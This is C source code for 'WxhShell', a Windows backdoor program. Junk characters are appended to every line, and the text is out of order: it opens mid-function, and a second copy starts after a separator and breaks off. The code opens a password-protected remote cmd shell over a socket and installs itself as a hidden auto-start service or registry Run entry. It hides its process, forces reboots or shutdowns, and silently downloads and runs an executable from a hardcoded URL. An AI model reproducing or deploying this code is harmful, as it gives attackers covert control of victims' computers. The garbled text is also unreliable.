    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W,eKQV<j  
    else { "{1}  
    closesocket(wsh); fCo2".Tk  
    ExitThread(0); r  E *u  
    } X<bj2 w  
    break; ;Z<*.f'^fc  
    } [8(9.6f  
  // 获取shell Kps GQM  
  case 's': { w6%CB E2  
    CmdShell(wsh); Ab|NjY:  
    closesocket(wsh); /Gu2@m[r  
    ExitThread(0); )6S}O* 1  
    break; N4JL.(m){I  
  } (VF4]  
  // 退出 jjlCi<9CQ^  
  case 'x': { ;`Ch2b1+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *d*;M>  
    CloseIt(wsh); |"(3]f\  
    break; 7=[O6<+o  
    } J!gWRw5  
  // 离开 -O q=J;  
  case 'q': { 29E@e]Y,`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t~=@r9`S  
    closesocket(wsh); IF21T  
    WSACleanup(); G6g=F+X2  
    exit(1); "I 1M$^8n  
    break; in|7ucSlg  
        } At_Y$N:  
  } s)ajy^6'M  
  } RwLdV+2\R`  
^oZs&+z  
  // 提示信息 L,ey3i7a\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 61;5Yo  
} =kkA  
  } 0BZOr-i  
#~qp8 w  
  return; U@ QU8  
} -D':7!@  
9w<_XXQ  
// shell模块句柄 GHrT?zEX  
int CmdShell(SOCKET sock) ,oVBgCf  
{ ?;QKe0I^  
STARTUPINFO si; n`2"(7Wj  
ZeroMemory(&si,sizeof(si)); 5 /VB'N#7s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nylIP */  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A>,fG9pR  
PROCESS_INFORMATION ProcessInfo; Xg)FIaw]eT  
char cmdline[]="cmd"; aD`e]K ^L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zU=[Kc=$  
  return 0; +4vX+;: br  
} &(1NOyX&  
G U/k^ Qy  
// 自身启动模式 &K*_/Q '\  
int StartFromService(void) ATkqzE`;  
{ #6Ph"\G/  
typedef struct 8*){*'bf  
{ .aRxqFi_  
  DWORD ExitStatus; 1;9E*=  
  DWORD PebBaseAddress; uy%PTi+A  
  DWORD AffinityMask; -5B([jHgR  
  DWORD BasePriority; F4l6PGxF&\  
  ULONG UniqueProcessId; QU;C*}0Zl  
  ULONG InheritedFromUniqueProcessId; K&oO+G^f  
}   PROCESS_BASIC_INFORMATION; K%@SS8!oy  
f3&//h8  
PROCNTQSIP NtQueryInformationProcess; +f~3FXM  
^]K)V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zL{@LHP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g5'bUYsa  
yc}t(*A5  
  HANDLE             hProcess; AR2+W^aM3  
  PROCESS_BASIC_INFORMATION pbi; cLF>Jvs*J  
J(*"S!q)6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^^(ZK 6d  
  if(NULL == hInst ) return 0; _!Q\Xn  
akoKx)(<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZdzGJ[$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4v JIO{m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +Uk.|@b=-V  
U7'oI;C$e  
  if (!NtQueryInformationProcess) return 0; wB GxJ\+M  
+N!{(R:"v}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9~ af\G  
  if(!hProcess) return 0; j;vaNg|vQ  
5~5ypQj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I[Y?f8gJ  
? +!?$h  
  CloseHandle(hProcess); T}On:*&  
0w&1wee(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M_uij$1-  
if(hProcess==NULL) return 0; #&gy@!a~  
t:n|0G(  
HMODULE hMod; OOwJ3I >]>  
char procName[255]; q+Q)IVaU81  
unsigned long cbNeeded; Q&;qFv5-l  
Q:=/d$*xd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k9?+9bExXA  
40ZB;j$l  
  CloseHandle(hProcess); c *noH[  
arrcHf 4O  
if(strstr(procName,"services")) return 1; // 以服务启动 o%7yhCY  
D/>5\da+y  
  return 0; // 注册表启动 a-=apD1RvG  
} w+D5a VJ  
|U0@(H  
// 主模块 4\RuJx  
int StartWxhshell(LPSTR lpCmdLine) )QT+;P.  
{ r}bKVne  
  SOCKET wsl; 6U]7V  
BOOL val=TRUE; l"#,O$x"#@  
  int port=0; V&85<Y%Nl|  
  struct sockaddr_in door; s*Ll\#  
],4LvIPD  
  if(wscfg.ws_autoins) Install(); [ V~bo/n  
Wn5]2D\vkT  
port=atoi(lpCmdLine); ["9$HL  
('oUcDOFTS  
if(port<=0) port=wscfg.ws_port; bp_@e0  
C I0^eaFs  
  WSADATA data; Czn7,KE8X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4v$AM8/o  
i{0_}"B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #a:C=GV;4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'Mtu-\  
  door.sin_family = AF_INET; f{oWd]eAhb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9NAlgET  
  door.sin_port = htons(port); sq$|Pad[  
6R j X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R PQ)0.O7  
closesocket(wsl); r Y.:}D  
return 1; ,j<"~"] =  
} ,)G,[ih  
b*i+uV?  
  if(listen(wsl,2) == INVALID_SOCKET) { &kBs'P8>  
closesocket(wsl); !8].Z"5J  
return 1; ^(3k uF  
} `Ea3z~<7M  
  Wxhshell(wsl); ?;Qk!t2U  
  WSACleanup(); :SGQ4@BV  
O'(vs"eN  
return 0; B*7o\~5  
hFv}JQJw<  
} }rZp(FG@*  
g<Xwk2_=g  
// 以NT服务方式启动 2} -W@R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d8I/7 ;F X  
{ }z #8vE;  
DWORD   status = 0; 5[k35 c{  
  DWORD   specificError = 0xfffffff; \;<Y/sg  
DSp@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; > %,tyJ~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u1l#k60  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3-5lO#&#  
  serviceStatus.dwWin32ExitCode     = 0; EQ -\tWY  
  serviceStatus.dwServiceSpecificExitCode = 0; I5,Fh>  
  serviceStatus.dwCheckPoint       = 0; 3IIlAzne;  
  serviceStatus.dwWaitHint       = 0; YzqhFFaj.  
 V Euv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D6pk !mS  
  if (hServiceStatusHandle==0) return; Z)~ 2{)  
Z"u/8  
status = GetLastError(); $9/r*@bu8d  
  if (status!=NO_ERROR) $}@l l^  
{ (ydeZx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1A `u0Y$g  
    serviceStatus.dwCheckPoint       = 0; \kx9V|A'  
    serviceStatus.dwWaitHint       = 0; =v8q  
    serviceStatus.dwWin32ExitCode     = status; [sBD|P;M  
    serviceStatus.dwServiceSpecificExitCode = specificError; (0r6_8e6xv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <G={V fr  
    return; (;N_lF0  
  } ~JJv 2  
a/1{tDA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; smggr{-  
  serviceStatus.dwCheckPoint       = 0; tP9}:gu  
  serviceStatus.dwWaitHint       = 0; x8[8z^BV?e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y]PZ| G)  
} d{ &z^  
o9CB ,c7]  
// 处理NT服务事件,比如:启动、停止 Ty m!7H2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) : SNp"|  
{ sx;1V{|g  
switch(fdwControl) y< 84Gw_  
{ 5o?bF3  
case SERVICE_CONTROL_STOP: /dAIg1ra  
  serviceStatus.dwWin32ExitCode = 0; .gB*Y!c7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c!c!;(  
  serviceStatus.dwCheckPoint   = 0; 3HD=)k  
  serviceStatus.dwWaitHint     = 0; oKUJB.PF  
  { t0Uax-E(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ][Kj^7/  
  } a)]N#gx  
  return; XX =A1#H  
case SERVICE_CONTROL_PAUSE: :\ S3[(FV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iH2|w  
  break; {pqm&PB04  
case SERVICE_CONTROL_CONTINUE: 8r5j~Df  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WE3l*7<@  
  break; <H.Ml>q:r  
case SERVICE_CONTROL_INTERROGATE: "2)T=vHi#  
  break; s<myZ T$  
}; M:A7=rO~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8p5u1 ;2  
} <B)lV'!Bd  
I$YF55uB  
// 标准应用程序主函数 n%Fa;!S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \(Iy>L.  
{ Ut<_D8Tzx  
{x+jFj.  
// 获取操作系统版本 _+GCd8d  
OsIsNt=GetOsVer(); d(tq;2-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /<@oUv  
VGSe<6Hh  
  // 从命令行安装 G2mv6xK'  
  if(strpbrk(lpCmdLine,"iI")) Install(); a 3H S!/  
XG0,@Ly  
  // 下载执行文件 2`; 0y M  
if(wscfg.ws_downexe) { Y!KGJ^.mF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b[$>HB_Na  
  WinExec(wscfg.ws_filenam,SW_HIDE); E 0YXgQa  
} ,E_hG3}}  
]5^u^  
if(!OsIsNt) { "ey~w=B$M  
// 如果时win9x,隐藏进程并且设置为注册表启动 DpA)Z ??  
HideProc(); A&z  
StartWxhshell(lpCmdLine); : "UBeo<Z  
} Cu}Rq!9i  
else `.n[G~*w~1  
  if(StartFromService()) SQ@@79A  
  // 以服务方式启动 ]LD@I;(_  
  StartServiceCtrlDispatcher(DispatchTable); RAe:$Iv$!v  
else PS>k67sI  
  // 普通方式启动 X{)M}WO+r  
  StartWxhshell(lpCmdLine); 2D "mq~ V  
^uYxeQY[  
return 0; ~q<U E\H  
} TygR G+G-  
_9<Ko.GVq  
3]wV`mD  
c1c0b|B!U  
=========================================== x.'O_7c0:  
K]RkKMT,  
>J4_/p>Qs  
rXA7<_Vg  
UlyX$f%2  
Zf|f $1-  
" xD1w#FMlQs  
bY#>   
#include <stdio.h> |[gnWNdR$M  
#include <string.h> |g@1qXO3  
#include <windows.h> hd\iW7  
#include <winsock2.h> \i{=%[c  
#include <winsvc.h> {W@Y4Qqq  
#include <urlmon.h> klPc l[.w  
gX);/;9mm+  
#pragma comment (lib, "Ws2_32.lib") ^58'*13ZL  
#pragma comment (lib, "urlmon.lib") ) ><{A  
.t\5H<z  
#define MAX_USER   100 // 最大客户端连接数 4%B${zP(.}  
#define BUF_SOCK   200 // sock buffer #[IQmU23  
#define KEY_BUFF   255 // 输入 buffer D9JT)a  
?!Y2fK=h0  
#define REBOOT     0   // 重启 N~SG=\rP;o  
#define SHUTDOWN   1   // 关机 "xw2@jGpG  
Z[|(}9v?~  
#define DEF_PORT   5000 // 监听端口 N1_nBQF )  
^/c&Ud  
#define REG_LEN     16   // 注册表键长度 =8[HC}s|$  
#define SVC_LEN     80   // NT服务名长度 aVd{XVE  
;gf^;%FK  
// 从dll定义API w+P bT6;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1'M< {h<sP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); --y .q~d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I(pU_7mw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P*G&pitT  
hb`(d_=7F  
// wxhshell配置信息 $BCqz! 4K  
struct WSCFG { Si!W@Jm  
  int ws_port;         // 监听端口 w+ bMDp  
  char ws_passstr[REG_LEN]; // 口令 \3x,)~m  
  int ws_autoins;       // 安装标记, 1=yes 0=no QO0T<V  
  char ws_regname[REG_LEN]; // 注册表键名 BH\qm (X  
  char ws_svcname[REG_LEN]; // 服务名 aiea& aJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zf#V89!]C"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j&ddpS(s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B\9ymhx;g%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?mnwD]u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $KKrl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]x! vPIyq  
5WY..60K,  
}; co#%~KqMu  
T5o9pm D  
// default Wxhshell configuration R|`}z"4C  
struct WSCFG wscfg={DEF_PORT, #}l }1^$  
    "xuhuanlingzhe", @r'8<6hVO  
    1, gZ:)l@ Wu  
    "Wxhshell", .BuY[,I+  
    "Wxhshell", WC0@g5;1[  
            "WxhShell Service", L Ktr>u  
    "Wrsky Windows CmdShell Service", pz~AsF  
    "Please Input Your Password: ", )N<>L/R  
  1, g;Bq#/w  
  "http://www.wrsky.com/wxhshell.exe", #N wlKZ-  
  "Wxhshell.exe" 9w(QM-u  
    }; Rax}r  
3%>"|Ye}A  
// 消息定义模块 ^<7)w2ns  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {6*h';~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 's+ Fd~ '  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TAIcp*)ZM  
char *msg_ws_ext="\n\rExit."; Jy{A1i@4~s  
char *msg_ws_end="\n\rQuit."; >(p "!  
char *msg_ws_boot="\n\rReboot..."; ~%m-}Sxc  
char *msg_ws_poff="\n\rShutdown..."; 2 ES .)pQ  
char *msg_ws_down="\n\rSave to "; - TSn_XE  
1P@&xcvS\  
char *msg_ws_err="\n\rErr!"; J8~3LE )G  
char *msg_ws_ok="\n\rOK!"; WADNr8.  
b2 duC  
char ExeFile[MAX_PATH]; eLM_?9AZ!R  
int nUser = 0; 0(h *< g:  
HANDLE handles[MAX_USER]; E XEae ?  
int OsIsNt; Xb5n;=)  
?E=&LAI#  
SERVICE_STATUS       serviceStatus; P%(pbG-X.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w*OZ1|  
8tY],  
// 函数声明 x4Y+?2  
int Install(void); 79z(n[^  
int Uninstall(void); #Q"el3P+q  
int DownloadFile(char *sURL, SOCKET wsh); A7 E*w  
int Boot(int flag); ;q59Cr75  
void HideProc(void); Kw+?Lowp  
int GetOsVer(void); LEKN%2  
int Wxhshell(SOCKET wsl); |U>BXX P  
void TalkWithClient(void *cs); p (:\)HP)R  
int CmdShell(SOCKET sock); 8(\Az5%  
int StartFromService(void); [89#8|+  
int StartWxhshell(LPSTR lpCmdLine); rX)PN3TD  
: DCj2"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pTX{j=n!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o'?Y0Wt  
7_?:R2]n  
// 数据结构和表定义 HFB2ep7N  
SERVICE_TABLE_ENTRY DispatchTable[] = 120<(#  
{ D9 OS,U/l  
{wscfg.ws_svcname, NTServiceMain}, H_3S#.  
{NULL, NULL} gQCkoQi:j  
}; h 1:uTrtA  
,yNPD}@v>  
// 自我安装 +MIDq{B  
int Install(void) 3W5|Y@0  
{ 0bVtku K;G  
  char svExeFile[MAX_PATH]; a{mtG{Wc  
  HKEY key; VX2 KE@  
  strcpy(svExeFile,ExeFile); 1.4]T, `  
s 'u6Ep/V  
// 如果是win9x系统,修改注册表设为自启动 ^8a,gA8.  
if(!OsIsNt) { ck){N?y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?sfA/9"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SL? ! RQ  
  RegCloseKey(key); D: NBb!   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MLG%+@\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "[q/2vC  
  RegCloseKey(key); FAzshR  
  return 0; z AacX@  
    } DyD#4J)E  
  } MMN2X xS  
} bW7tJ  
else { v[q2OWcL  
ICN>8|O`&  
// 如果是NT以上系统,安装为系统服务 ?54=TA|5`F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l`UJHX  
if (schSCManager!=0) fILINW{Yk)  
{ wm}6$n?Za  
  SC_HANDLE schService = CreateService P>+{}c}3I  
  ( /QZnN?k  
  schSCManager, y{0`+/\`  
  wscfg.ws_svcname, h/ ?8F^C#v  
  wscfg.ws_svcdisp, rp6Y&3p.  
  SERVICE_ALL_ACCESS, >JkQ U e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bc}U &X<  
  SERVICE_AUTO_START, vRpMZ)e  
  SERVICE_ERROR_NORMAL, vQ#$.*Cvn  
  svExeFile, 4_ztIrw  
  NULL, !h4S`2oZ/  
  NULL, mnzamp  
  NULL, &cV$8*2b^  
  NULL, VLQDktj&  
  NULL y)X;g:w  
  ); tO~DA>R  
  if (schService!=0) M}k )Ep9  
  { mL?9AxO  
  CloseServiceHandle(schService); >0k7#q}O  
  CloseServiceHandle(schSCManager); 7hZCh,O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2Vxr  
  strcat(svExeFile,wscfg.ws_svcname); m\(4y Gj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B$1e AwT9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S$HzuK\f  
  RegCloseKey(key); MUh )  
  return 0; :DXkAb2  
    } +AhR7R!  
  } O8(;=exA  
  CloseServiceHandle(schSCManager); I\&..e0l  
} \bw71( Q  
} PspH[db  
qAUqlSP5  
return 1; \K.i8f,  
} T^B&GgW  
p+ SFeUp  
// 自我卸载 }{[H@uhjH  
int Uninstall(void) IsxPm9P2<  
{ (cAv :EKpo  
  HKEY key; +Pd&YfU9  
_A|1_^[G(  
if(!OsIsNt) { ,UopGlA ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4(o: #9I  
  RegDeleteValue(key,wscfg.ws_regname); z9}rT<hy  
  RegCloseKey(key); LzB)o\a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =G]} L<  
  RegDeleteValue(key,wscfg.ws_regname); GMU.Kt  
  RegCloseKey(key); $~`a,[e<  
  return 0; PX65Z|~>_  
  } m(,vym t  
} 0AP wk }  
} L MC-1  
else { PwU}<Hrl]  
zNofI$U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3Bee6N>  
if (schSCManager!=0) H=?v$! i  
{ 0 60<wjX6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l~!Tnp\M  
  if (schService!=0) &Y%Kr`.h  
  { _6Wz1.]n  
  if(DeleteService(schService)!=0) { j*t>CB4  
  CloseServiceHandle(schService); g e)g?IP4  
  CloseServiceHandle(schSCManager); 8+{WH/}y8  
  return 0; ;W]NT 4p  
  } zYO+;;*@  
  CloseServiceHandle(schService); qUA&XUJ  
  } VJJGTkm  
  CloseServiceHandle(schSCManager); %Js3Y9AL C  
} rV d(H  
} .%_scNP  
$%ZEP> ]  
return 1; X&nkc/erx  
} S!A)kK+  
Zy,U'Dv  
// 从指定url下载文件 A\ds0dUE  
int DownloadFile(char *sURL, SOCKET wsh) !;.i#c_u  
{ m:5*:Ii.  
  HRESULT hr; o[q Kf  
char seps[]= "/"; #qWa[kB  
char *token; ]b4*`}\  
char *file; ftq&<8  
char myURL[MAX_PATH]; y;<^[  
char myFILE[MAX_PATH]; XmXp0b7  
,u^i0uOg  
strcpy(myURL,sURL); !31v@v:)  
  token=strtok(myURL,seps); H>AQlO+J  
  while(token!=NULL) CT+pkNC  
  { hu%rp{m^,  
    file=token; cG1-.,r  
  token=strtok(NULL,seps); oNY;z-QK  
  } mj=$[ y(  
|UZPn>F~  
GetCurrentDirectory(MAX_PATH,myFILE); C9`#57Pp  
strcat(myFILE, "\\"); B;9X{"  
strcat(myFILE, file); s`GwRH<#  
  send(wsh,myFILE,strlen(myFILE),0); o7S,W?;=5  
send(wsh,"...",3,0); <^6|ZgR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %>`0hk88  
  if(hr==S_OK) H8.U#%  
return 0; u:tLO3VfJ  
else b<};"H0a  
return 1; w]X~I/6g  
D@*<p h=  
} W4Rs9NA}  
w^e<p~i!^E  
// 系统电源模块 9Slx.9f  
int Boot(int flag) Bm2"} =  
{ = zW}vm }  
  HANDLE hToken; !:t}8  
  TOKEN_PRIVILEGES tkp; / >c F  
8X!^ 2B}J  
  if(OsIsNt) { Ql&5fyW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q4\EI=4P]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QyQ&xgS  
    tkp.PrivilegeCount = 1; hE0 p> R8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &dp<i[ec^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U1G"T(;s:  
if(flag==REBOOT) { u!?cKZw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tm~a& p  
  return 0; L^uO.eI"m  
} $50A!h  
else { &+;z`A'|8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vggyQf%  
  return 0; <gRv7 ?V[z  
} ysm)B?+k  
  } }/q]:3M|  
  else { ~c~N _b  
if(flag==REBOOT) { W- 5Z"m1I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O`1_eK~1<  
  return 0; d|CSWcU  
} H4p N+  
else { ts/ rV#s~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F B-?{78~  
  return 0; 4^\5]d!  
} u^T)4~(  
} CIAHsbn.A  
Lb;:<  
return 1; SVWtKc<  
} 4%>iIPXi.(  
Uu ~BErEC  
// win9x进程隐藏模块 SE/GT:}  
void HideProc(void) *-"DZ  
{ p'z fo!  
0)n#$d>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T {Q]  
  if ( hKernel != NULL ) - `F#MN  
  { > 5-z"f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); It>8XKS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F33&A<(,  
    FreeLibrary(hKernel); ={P  
  } _tDSG]  
a<-NB9o~v  
return; " UaUaSg#  
} 7qj<|US  
21i?$ uU  
// 获取操作系统版本 cnJ(Fv_F$  
int GetOsVer(void)  %~Vgz(/  
{ e@N@8i"q5  
  OSVERSIONINFO winfo; +EG?8L,z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [)UL}vAO\q  
  GetVersionEx(&winfo); VsEMF i=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6S7 =+>  
  return 1; TpXbJ]o9  
  else j"o8]UT/  
  return 0; L:UJur%  
} j6<o,0P  
[yj-4v%u`  
// 客户端句柄模块 'jh9n7mH  
int Wxhshell(SOCKET wsl) [~e{58}J|  
{ Wg X9k J  
  SOCKET wsh; kU^*hd ]  
  struct sockaddr_in client; W2cgxT  
  DWORD myID; ?/"Fwjau  
_Bh-*e2k  
  while(nUser<MAX_USER) _"Yi>.{]  
{ +Y;/10p  
  int nSize=sizeof(client); a{*r^m'N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Dn/{  s$\  
  if(wsh==INVALID_SOCKET) return 1; g2Pa-}{  
NvCq5B$C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S9BwCKH  
if(handles[nUser]==0) O6JH)Ka"S  
  closesocket(wsh); j"g[qF/*  
else NKyaR_q`  
  nUser++; 5WJof`M  
  } +b@KS"3h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Ab4'4f  
anLSD/'4W  
  return 0; b5WtL+Z  
} 4rkj$  
1=Npq=d  
// 关闭 socket +pDZ,c,  
void CloseIt(SOCKET wsh) pxC:VJ;  
{ 3i1e1Lj1  
closesocket(wsh); EG=~0j~  
nUser--; <_XyHb-  
ExitThread(0); J3/2>N]/}  
} !F ]7q]g  
`-Yo$b;:  
// 客户端请求句柄 qz]b8rX  
void TalkWithClient(void *cs) 2^Y@e=^A  
{ m"3gTqG  
D}4*Il?  
  SOCKET wsh=(SOCKET)cs; d@-s_gw  
  char pwd[SVC_LEN]; g Mhn\  
  char cmd[KEY_BUFF]; um.s :vj$  
char chr[1]; 66RqjP '2  
int i,j; %&EDh2w>  
)X-~+X91 S  
  while (nUser < MAX_USER) { Iu(j"b#  
eYSVAj  
if(wscfg.ws_passstr) { N=4`jy =  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QN!.~>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 /@lZ  
  //ZeroMemory(pwd,KEY_BUFF); g+CTF67  
      i=0; ::'DWD1  
  while(i<SVC_LEN) { MZ9{*y[z  
N0U6N< w  
  // 设置超时 T\}?  
  fd_set FdRead; t4HDt\}&k~  
  struct timeval TimeOut; c;RB!`9"  
  FD_ZERO(&FdRead); jGV+ ~a  
  FD_SET(wsh,&FdRead); *c"tW8uR  
  TimeOut.tv_sec=8; snU $Na3  
  TimeOut.tv_usec=0; `bXP )$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,UOAGu<_gb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sT&O%(  
UC@ &! kM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x[%z \  
  pwd=chr[0]; aX`@WXK  
  if(chr[0]==0xd || chr[0]==0xa) { fMg3  
  pwd=0; 2VSs#z!  
  break; f9`F~6$  
  } LojEJ  
  i++; 6:PQkr  
    } E]Wnl\Be  
J})#43P  
  // 如果是非法用户,关闭 socket # MpW\yX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b \pjjb[  
} 4i<V^go"  
BNA`Cc1VV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); , Oqd4NS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /K+GM8rtE  
L p(6K  
while(1) { JI&ik_k3  
Ky6.6Y<.|  
  ZeroMemory(cmd,KEY_BUFF); Nd b_|  
3WH"NC-O<  
      // 自动支持客户端 telnet标准   /Q|guJx  
  j=0; G5;N#^myJ  
  while(j<KEY_BUFF) { xRTr<j0s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4 VPJv>^  
  cmd[j]=chr[0]; Y$tgz)  
  if(chr[0]==0xa || chr[0]==0xd) { +A 3Q$1F  
  cmd[j]=0; [xaglZ9HNo  
  break; g)o?nAr  
  } ,B^NH7A:  
  j++; hU 3z4|~+  
    } |{)SLvlJl  
:)cn&'l(S  
  // 下载文件 P:`tL)W_  
  if(strstr(cmd,"http://")) { e+_~a8 -|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PxqRb  
  if(DownloadFile(cmd,wsh)) |Wo_5|E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~c;D@.e\  
  else \1^qfw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BK+(Uf;g  
  } HizMjJ|  
  else { Muhq,>!U  
tA,#!Z0  
